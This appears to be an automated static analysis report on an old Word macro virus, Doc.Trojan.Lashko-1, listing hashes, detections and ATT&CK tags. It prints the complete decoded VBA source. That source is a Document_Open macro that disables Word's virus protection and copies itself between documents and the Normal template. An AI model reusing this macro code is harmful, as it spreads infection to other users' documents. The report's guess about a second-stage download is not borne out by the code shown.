Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ba27bd1fd3c7207…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-03-21 16:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f01531b3ef4b7003abc94c58a5b8166a SHA-1: d53233ae3c3b2265cee2c7101ec614cb3a518908 SHA-256: 0ba27bd1fd3c720767fc3db15222c75c1aa90d615871259fafb4cb24d48d8d37
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening. The macro code attempts to copy itself between the active document and the Normal template, potentially to ensure persistence or to hide its presence. The ClamAV detection as 'Doc.Trojan.Lashko-1' strongly suggests malicious intent, likely involving the download and execution of a second-stage payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Lashko-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lashko-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1330 bytes
SHA-256: 2ff0150eebe18ac5eb920c87df8c2ea9859c51d18b6d4ef7baad962655a97d76
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub Document_Open()
On Error Resume Next
With Options
.VirusProtection = G
.ConfirmConversions = G
.SaveNormalPrompt = G
Set G = False
End With
Set gt56 = NormalTemplate.VBProject: kj87 = gt56.VBComponents(1).CodeModule.CountOfLines
Set xc24 = ActiveDocument.VBProject: sd12 = xc24.VBComponents(1).CodeModule.CountOfLines
If kj87 < sd12 Then
lashko_pa = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, sd12)
NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines 1, lashko_pa
Else
If sd12 < kj87 Then
lashko_pn = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, kj87)
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 1, lashko_pn
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.